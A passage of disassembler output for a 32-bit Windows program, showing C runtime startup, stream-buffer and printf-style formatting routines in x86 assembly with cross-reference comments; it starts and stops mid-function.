test eax, eax
jnz short loc_40EBF0
push 1Ch
call sub_40EC9F
pop ecx
loc_40EBF0: ; CODE XREF: sub_40EB84+62j
mov [ebp+var_4], esi
call sub_4143B3
call dword_41812C ; GetCommandLineA
mov dword_48342C, eax
call sub_414281
mov dword_481E08, eax
call sub_414034
call sub_413F7B
call sub_40E785
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call dword_418128 ; GetStartupInfoA
call sub_413F23
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_40EC3D
movzx eax, [ebp+var_2C]
jmp short loc_40EC40
; ---------------------------------------------------------------------------
loc_40EC3D: ; CODE XREF: sub_40EB84+B1j
push 0Ah
pop eax
loc_40EC40: ; CODE XREF: sub_40EB84+B7j
push eax
push [ebp+var_64]
push esi
push esi
call dword_418094 ; GetModuleHandleA
push eax
call sub_407041
mov [ebp+var_60], eax
push eax
call sub_40E7B2
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_413D9F
pop ecx
pop ecx
retn
sub_40EB84 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_40E7C3
; =============== S U B R O U T I N E =======================================
sub_40EC7A proc near ; CODE XREF: sub_40D822+16p
; sub_413F7B+4Ep ...
arg_0 = dword ptr 4
cmp dword_481E10, 1
jnz short loc_40EC88
call sub_414640
loc_40EC88: ; CODE XREF: sub_40EC7A+7j
push [esp+arg_0]
call sub_414679
push 0FFh
call off_41FC70
pop ecx
pop ecx
retn
sub_40EC7A endp
; =============== S U B R O U T I N E =======================================
sub_40EC9F proc near ; CODE XREF: sub_40EB84+66p
arg_0 = dword ptr 4
cmp dword_481E10, 1
jnz short loc_40ECAD
call sub_414640
loc_40ECAD: ; CODE XREF: sub_40EC9F+7j
push [esp+arg_0]
call sub_414679
pop ecx
push 0FFh
call dword_418074 ; ExitProcess
retn
sub_40EC9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECC3 proc near ; CODE XREF: sub_40C6C3+46p
; sub_40D3F7+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_40EDCC
test al, 40h
jnz loc_40EDCC
test al, 1
jz short loc_40ECFB
and dword ptr [esi+4], 0
test al, 10h
jz loc_40EDCC
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_40ECFB: ; CODE XREF: sub_40ECC3+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_40ED35
cmp esi, offset dword_4223B0
jz short loc_40ED23
cmp esi, offset dword_4223D0
jnz short loc_40ED2E
loc_40ED23: ; CODE XREF: sub_40ECC3+56j
push ebx
call sub_4149BD
test eax, eax
pop ecx
jnz short loc_40ED35
loc_40ED2E: ; CODE XREF: sub_40ECC3+5Ej
push esi
call sub_414979
pop ecx
loc_40ED35: ; CODE XREF: sub_40ECC3+4Ej
; sub_40ECC3+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_40EDA2
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_40ED65
push edi
push eax
push ebx
call sub_4147CC
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_40ED98
; ---------------------------------------------------------------------------
loc_40ED65: ; CODE XREF: sub_40ECC3+90j
cmp ebx, 0FFFFFFFFh
jz short loc_40ED80
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4830E0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_40ED85
; ---------------------------------------------------------------------------
loc_40ED80: ; CODE XREF: sub_40ECC3+A5j
mov eax, offset dword_4222F8
loc_40ED85: ; CODE XREF: sub_40ECC3+BBj
test byte ptr [eax+4], 20h
jz short loc_40ED98
push 2
push 0
push ebx
call sub_413BAD
add esp, 0Ch
loc_40ED98: ; CODE XREF: sub_40ECC3+A0j
; sub_40ECC3+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_40EDB6
; ---------------------------------------------------------------------------
loc_40EDA2: ; CODE XREF: sub_40ECC3+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4147CC
add esp, 0Ch
mov [ebp+arg_4], eax
loc_40EDB6: ; CODE XREF: sub_40ECC3+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_40EDC2
or dword ptr [esi+0Ch], 20h
jmp short loc_40EDD1
; ---------------------------------------------------------------------------
loc_40EDC2: ; CODE XREF: sub_40ECC3+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_40EDD4
; ---------------------------------------------------------------------------
loc_40EDCC: ; CODE XREF: sub_40ECC3+10j
; sub_40ECC3+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_40EDD1: ; CODE XREF: sub_40ECC3+FDj
or eax, 0FFFFFFFFh
loc_40EDD4: ; CODE XREF: sub_40ECC3+107j
pop esi
pop ebx
pop ebp
retn
sub_40ECC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EDD8 proc near ; CODE XREF: sub_40C6C3+29p
; sub_40D3F7+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_40F4F1
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_40EE0C
; ---------------------------------------------------------------------------
loc_40EE04: ; CODE XREF: sub_40EDD8+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_40EE0C: ; CODE XREF: sub_40EDD8+2Aj
cmp [ebp+var_14], edx
jl loc_40F4F1
cmp bl, 20h
jl short loc_40EE2D
cmp bl, 78h
jg short loc_40EE2D
movsx eax, bl
mov al, byte_41862C[eax]
and eax, 0Fh
jmp short loc_40EE2F
; ---------------------------------------------------------------------------
loc_40EE2D: ; CODE XREF: sub_40EDD8+40j
; sub_40EDD8+45j
xor eax, eax
loc_40EE2F: ; CODE XREF: sub_40EDD8+53j
movsx eax, byte_41864C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_40F4E0 ; default
jmp off_40F4F9[eax*4] ; switch jump
loc_40EE4D: ; DATA XREF: .nsp0:off_40F4F9o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0040EE46 case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EE68: ; CODE XREF: sub_40EDD8+6Ej
; DATA XREF: .nsp0:off_40F4F9o
movsx eax, bl ; jumptable 0040EE46 case 2
sub eax, 20h
jz short loc_40EEAB
sub eax, 3
jz short loc_40EEA2
sub eax, 8
jz short loc_40EE99
dec eax
dec eax
jz short loc_40EE90
sub eax, 3
jnz loc_40F4E0 ; default
or [ebp+var_4], 8
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EE90: ; CODE XREF: sub_40EDD8+A4j
or [ebp+var_4], 4
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EE99: ; CODE XREF: sub_40EDD8+A0j
or [ebp+var_4], 1
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EEA2: ; CODE XREF: sub_40EDD8+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EEAB: ; CODE XREF: sub_40EDD8+96j
or [ebp+var_4], 2
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EEB4: ; CODE XREF: sub_40EDD8+6Ej
; DATA XREF: .nsp0:off_40F4F9o
cmp bl, 2Ah ; jumptable 0040EE46 case 3
jnz short loc_40EEDC
lea eax, [ebp+arg_8]
push eax
call sub_40F5B7
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_40F4E0 ; default
or [ebp+var_4], 4
neg eax
loc_40EED4: ; CODE XREF: sub_40EDD8+111j
mov [ebp+var_20], eax
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EEDC: ; CODE XREF: sub_40EDD8+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_40EED4
; ---------------------------------------------------------------------------
loc_40EEEB: ; CODE XREF: sub_40EDD8+6Ej
; DATA XREF: .nsp0:off_40F4F9o
mov [ebp+var_10], edx ; jumptable 0040EE46 case 4
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EEF3: ; CODE XREF: sub_40EDD8+6Ej
; DATA XREF: .nsp0:off_40F4F9o
cmp bl, 2Ah ; jumptable 0040EE46 case 5
jnz short loc_40EF16
lea eax, [ebp+arg_8]
push eax
call sub_40F5B7
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_40F4E0 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EF16: ; CODE XREF: sub_40EDD8+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EF28: ; CODE XREF: sub_40EDD8+6Ej
; DATA XREF: .nsp0:off_40F4F9o
cmp bl, 49h ; jumptable 0040EE46 case 6
jz short loc_40EF5B
cmp bl, 68h
jz short loc_40EF52
cmp bl, 6Ch
jz short loc_40EF49
cmp bl, 77h
jnz loc_40F4E0 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EF49: ; CODE XREF: sub_40EDD8+15Dj
or [ebp+var_4], 10h
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EF52: ; CODE XREF: sub_40EDD8+158j
or [ebp+var_4], 20h
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EF5B: ; CODE XREF: sub_40EDD8+153j
cmp byte ptr [edi], 36h
jnz short loc_40EF74
cmp byte ptr [edi+1], 34h
jnz short loc_40EF74
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EF74: ; CODE XREF: sub_40EDD8+186j
; sub_40EDD8+18Cj
mov [ebp+var_30], edx
loc_40EF77: ; CODE XREF: sub_40EDD8+6Ej
; DATA XREF: .nsp0:off_40F4F9o
mov ecx, off_421DF8 ; jumptable 0040EE46 case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_40EFA3
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_40F519
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_40EFA3: ; CODE XREF: sub_40EDD8+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_40F519
add esp, 0Ch
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40EFBB: ; CODE XREF: sub_40EDD8+6Ej
; DATA XREF: .nsp0:off_40F4F9o
movsx eax, bl ; jumptable 0040EE46 case 7
cmp eax, 67h
jg loc_40F1E3
cmp eax, 65h
jge loc_40F066
cmp eax, 58h
jg loc_40F0C4
jz loc_40F257
sub eax, 43h
jz loc_40F087
dec eax
dec eax
jz short loc_40F05C
dec eax
dec eax
jz short loc_40F05C
sub eax, 0Ch
jnz loc_40F3E2
test word ptr [ebp+var_4], 830h
jnz short loc_40F005
or byte ptr [ebp+var_4+1], 8
loc_40F005: ; CODE XREF: sub_40EDD8+227j
; sub_40EDD8+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_40F012
mov esi, 7FFFFFFFh
loc_40F012: ; CODE XREF: sub_40EDD8+233j
lea eax, [ebp+arg_8]
push eax
call sub_40F5B7
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_40F22B
test ecx, ecx
jnz short loc_40F03A
mov ecx, off_41FC7C
mov [ebp+var_8], ecx
loc_40F03A: ; CODE XREF: sub_40EDD8+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_40F043: ; CODE XREF: sub_40EDD8+282j
mov edx, esi
dec esi
test edx, edx
jz loc_40F222
cmp word ptr [eax], 0
jz loc_40F222
inc eax
inc eax
jmp short loc_40F043
; ---------------------------------------------------------------------------
loc_40F05C: ; CODE XREF: sub_40EDD8+212j
; sub_40EDD8+216j
mov [ebp+var_34], 1
add bl, 20h
loc_40F066: ; CODE XREF: sub_40EDD8+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_40F14A
mov [ebp+var_10], 6
jmp loc_40F158
; ---------------------------------------------------------------------------
loc_40F087: ; CODE XREF: sub_40EDD8+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_40F093
or byte ptr [ebp+var_4+1], 8
loc_40F093: ; CODE XREF: sub_40EDD8+2B5j
; sub_40EDD8+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_40F0DA
call sub_40F5D4
push eax
lea eax, [ebp+var_248]
push eax
call sub_414A9C
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_40F0ED
mov [ebp+var_28], 1
jmp short loc_40F0ED
; ---------------------------------------------------------------------------
loc_40F0C4: ; CODE XREF: sub_40EDD8+1FBj
sub eax, 5Ah
jz short loc_40F0FB
sub eax, 9
jz short loc_40F093
dec eax
jz loc_40F2BD
jmp loc_40F3E2
; ---------------------------------------------------------------------------
loc_40F0DA: ; CODE XREF: sub_40EDD8+2C5j
call sub_40F5B7
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_40F0ED: ; CODE XREF: sub_40EDD8+2E1j
; sub_40EDD8+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_40F3E2
; ---------------------------------------------------------------------------
loc_40F0FB: ; CODE XREF: sub_40EDD8+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_40F5B7
test eax, eax
pop ecx
jz short loc_40F13C
mov ecx, [eax+4]
test ecx, ecx
jz short loc_40F13C
test byte ptr [ebp+var_4+1], 8
jz short loc_40F12D
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_40F3E2
; ---------------------------------------------------------------------------
loc_40F12D: ; CODE XREF: sub_40EDD8+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_40F3DF
; ---------------------------------------------------------------------------
loc_40F13C: ; CODE XREF: sub_40EDD8+32Fj
; sub_40EDD8+336j
mov eax, off_41FC78
mov [ebp+var_8], eax
push eax
jmp loc_40F1D8
; ---------------------------------------------------------------------------
loc_40F14A: ; CODE XREF: sub_40EDD8+29Dj
jnz short loc_40F158
cmp bl, 67h
jnz short loc_40F158
mov [ebp+var_10], 1
loc_40F158: ; CODE XREF: sub_40EDD8+2AAj
; sub_40EDD8:loc_40F14Aj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_421DD0
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_40F1AA
cmp [ebp+var_10], 0
jnz short loc_40F1AA
lea eax, [ebp+var_248]
push eax
call off_421DDC
pop ecx
loc_40F1AA: ; CODE XREF: sub_40EDD8+3BCj
; sub_40EDD8+3C2j
cmp bl, 67h
jnz short loc_40F1C1
test esi, esi
jnz short loc_40F1C1
lea eax, [ebp+var_248]
push eax
call off_421DD4
pop ecx
loc_40F1C1: ; CODE XREF: sub_40EDD8+3D5j
; sub_40EDD8+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_40F1D7
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_40F1D7: ; CODE XREF: sub_40EDD8+3F0j
push edi
loc_40F1D8: ; CODE XREF: sub_40EDD8+36Dj
call sub_40CBC0
pop ecx
jmp loc_40F3DF
; ---------------------------------------------------------------------------
loc_40F1E3: ; CODE XREF: sub_40EDD8+1E9j
sub eax, 69h
jz loc_40F2BD
sub eax, 5
jz loc_40F293
dec eax
jz loc_40F280
dec eax
jz short loc_40F250
sub eax, 3
jz loc_40F005
dec eax
dec eax
jz loc_40F2C1
sub eax, 3
jnz loc_40F3E2
mov [ebp+var_2C], 27h
jmp short loc_40F25E
; ---------------------------------------------------------------------------
loc_40F222: ; CODE XREF: sub_40EDD8+270j
; sub_40EDD8+27Aj
sub eax, ecx
sar eax, 1
jmp loc_40F3DF
; ---------------------------------------------------------------------------
loc_40F22B: ; CODE XREF: sub_40EDD8+24Fj
test ecx, ecx
jnz short loc_40F238
mov ecx, off_41FC78
mov [ebp+var_8], ecx
loc_40F238: ; CODE XREF: sub_40EDD8+455j
mov eax, ecx
loc_40F23A: ; CODE XREF: sub_40EDD8+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_40F249
cmp byte ptr [eax], 0
jz short loc_40F249
inc eax
jmp short loc_40F23A
; ---------------------------------------------------------------------------
loc_40F249: ; CODE XREF: sub_40EDD8+467j
; sub_40EDD8+46Cj
sub eax, ecx
jmp loc_40F3DF
; ---------------------------------------------------------------------------
loc_40F250: ; CODE XREF: sub_40EDD8+425j
mov [ebp+var_10], 8
loc_40F257: ; CODE XREF: sub_40EDD8+201j
mov [ebp+var_2C], 7
loc_40F25E: ; CODE XREF: sub_40EDD8+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_40F2C8
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_40F2C8
; ---------------------------------------------------------------------------
loc_40F280: ; CODE XREF: sub_40EDD8+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_40F2C8
or byte ptr [ebp+var_4+1], 2
jmp short loc_40F2C8
; ---------------------------------------------------------------------------
loc_40F293: ; CODE XREF: sub_40EDD8+417j
lea eax, [ebp+arg_8]
push eax
call sub_40F5B7
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_40F2AC
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_40F2B1
; ---------------------------------------------------------------------------
loc_40F2AC: ; CODE XREF: sub_40EDD8+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_40F2B1: ; CODE XREF: sub_40EDD8+4D2j
mov [ebp+var_28], 1
jmp loc_40F4E0 ; default
; ---------------------------------------------------------------------------
loc_40F2BD: ; CODE XREF: sub_40EDD8+2F7j
; sub_40EDD8+40Ej
or [ebp+var_4], 40h
loc_40F2C1: ; CODE XREF: sub_40EDD8+432j
mov [ebp+var_C], 0Ah
loc_40F2C8: ; CODE XREF: sub_40EDD8+491j
; sub_40EDD8+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_40F2DA
lea eax, [ebp+arg_8]
push eax
call sub_40F5C4
pop ecx
jmp short loc_40F31B
; ---------------------------------------------------------------------------
loc_40F2DA: ; CODE XREF: sub_40EDD8+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_40F301
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_40F2F6
call sub_40F5B7
pop ecx
movsx eax, ax
loc_40F2F3: ; CODE XREF: sub_40EDD8+527j
; sub_40EDD8+539j
cdq
jmp short loc_40F31B
; ---------------------------------------------------------------------------
loc_40F2F6: ; CODE XREF: sub_40EDD8+510j
call sub_40F5B7
pop ecx
movzx eax, ax
jmp short loc_40F2F3
; ---------------------------------------------------------------------------
loc_40F301: ; CODE XREF: sub_40EDD8+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_40F313
call sub_40F5B7
pop ecx
jmp short loc_40F2F3
; ---------------------------------------------------------------------------
loc_40F313: ; CODE XREF: sub_40EDD8+531j
call sub_40F5B7
pop ecx
xor edx, edx
loc_40F31B: ; CODE XREF: sub_40EDD8+500j
; sub_40EDD8+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_40F33C
test edx, edx
jg short loc_40F33C
jl short loc_40F32B
test eax, eax
jnb short loc_40F33C
loc_40F32B: ; CODE XREF: sub_40EDD8+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_40F340
; ---------------------------------------------------------------------------
loc_40F33C: ; CODE XREF: sub_40EDD8+547j
; sub_40EDD8+54Bj ...
mov esi, eax
mov edi, edx
loc_40F340: ; CODE XREF: sub_40EDD8+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_40F349
and edi, 0
loc_40F349: ; CODE XREF: sub_40EDD8+56Cj
cmp [ebp+var_10], 0
jge short loc_40F358
mov [ebp+var_10], 1
jmp short loc_40F35C
; ---------------------------------------------------------------------------
loc_40F358: ; CODE XREF: sub_40EDD8+575j
and [ebp+var_4], 0FFFFFFF7h
loc_40F35C: ; CODE XREF: sub_40EDD8+57Ej
mov eax, esi
or eax, edi
jnz short loc_40F366
and [ebp+var_1C], 0
loc_40F366: ; CODE XREF: sub_40EDD8+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_40F36C: ; CODE XREF: sub_40EDD8+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_40F37C
mov eax, esi
or eax, edi
jz short loc_40F3B7
loc_40F37C: ; CODE XREF: sub_40EDD8+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_40DED0
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_40DE60
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_40F3AD
add ebx, [ebp+var_2C]
loc_40F3AD: ; CODE XREF: sub_40EDD8+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_40F36C
; ---------------------------------------------------------------------------
loc_40F3B7: ; CODE XREF: sub_40EDD8+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_40F3E2
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_40F3D5
test eax, eax
jnz short loc_40F3E2
loc_40F3D5: ; CODE XREF: sub_40EDD8+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_40F3DF: ; CODE XREF: sub_40EDD8+35Fj
; sub_40EDD8+406j ...
mov [ebp+var_C], eax
loc_40F3E2: ; CODE XREF: sub_40EDD8+21Bj
; sub_40EDD8+2FDj ...
cmp [ebp+var_28], 0
jnz loc_40F4E0 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_40F41A
test bh, 1
jz short loc_40F3FF
mov [ebp+var_16], 2Dh
jmp short loc_40F413
; ---------------------------------------------------------------------------
loc_40F3FF: ; CODE XREF: sub_40EDD8+61Fj
test bl, 1
jz short loc_40F40A
mov [ebp+var_16], 2Bh
jmp short loc_40F413
; ---------------------------------------------------------------------------
loc_40F40A: ; CODE XREF: sub_40EDD8+62Aj
test bl, 2
jz short loc_40F41A
mov [ebp+var_16], 20h
loc_40F413: ; CODE XREF: sub_40EDD8+625j
; sub_40EDD8+630j
mov [ebp+var_1C], 1
loc_40F41A: ; CODE XREF: sub_40EDD8+61Aj
; sub_40EDD8+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_40F43A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_40F54E
add esp, 10h
loc_40F43A: ; CODE XREF: sub_40EDD8+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_40F57F
add esp, 10h
test bl, 8
jz short loc_40F46C
test bl, 4
jnz short loc_40F46C
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_40F54E
add esp, 10h
loc_40F46C: ; CODE XREF: sub_40EDD8+67Bj
; sub_40EDD8+680j
cmp [ebp+var_24], 0
jz short loc_40F4B3
cmp [ebp+var_C], 0
jle short loc_40F4B3
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_40F481: ; CODE XREF: sub_40EDD8+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_414A9C
pop ecx
test eax, eax
pop ecx
jle short loc_40F4C8
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_40F57F
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_40F481
jmp short loc_40F4C8
; ---------------------------------------------------------------------------
loc_40F4B3: ; CODE XREF: sub_40EDD8+698j
; sub_40EDD8+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_40F57F
add esp, 10h
loc_40F4C8: ; CODE XREF: sub_40EDD8+6BCj
; sub_40EDD8+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_40F4E0 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_40F54E
add esp, 10h
loc_40F4E0: ; CODE XREF: sub_40EDD8+68j
; sub_40EDD8+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_40EE04
loc_40F4F1: ; CODE XREF: sub_40EDD8+1Fj
; sub_40EDD8+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_40EDD8 endp
; ---------------------------------------------------------------------------
off_40F4F9 dd offset loc_40EF77 ; DATA XREF: sub_40EDD8+6Er
dd offset loc_40EE4D ; jump table for switch statement
dd offset loc_40EE68
dd offset loc_40EEB4
dd offset loc_40EEEB
dd offset loc_40EEF3
dd offset loc_40EF28
dd offset loc_40EFBB
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F519 proc near ; CODE XREF: sub_40EDD8+1BDp
; sub_40EDD8+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_40F532
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_40F53D
; ---------------------------------------------------------------------------
loc_40F532: ; CODE XREF: sub_40F519+9j
push ecx
push [ebp+arg_0]
call sub_40ECC3
pop ecx
pop ecx
loc_40F53D: ; CODE XREF: sub_40F519+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_40F54A
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40F54A: ; CODE XREF: sub_40F519+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_40F519 endp
; =============== S U B R O U T I N E =======================================
sub_40F54E proc near ; CODE XREF: sub_40EDD8+65Ap
; sub_40EDD8+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_40F57C
mov esi, [esp+8+arg_C]
loc_40F55F: ; CODE XREF: sub_40F54E+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_40F519
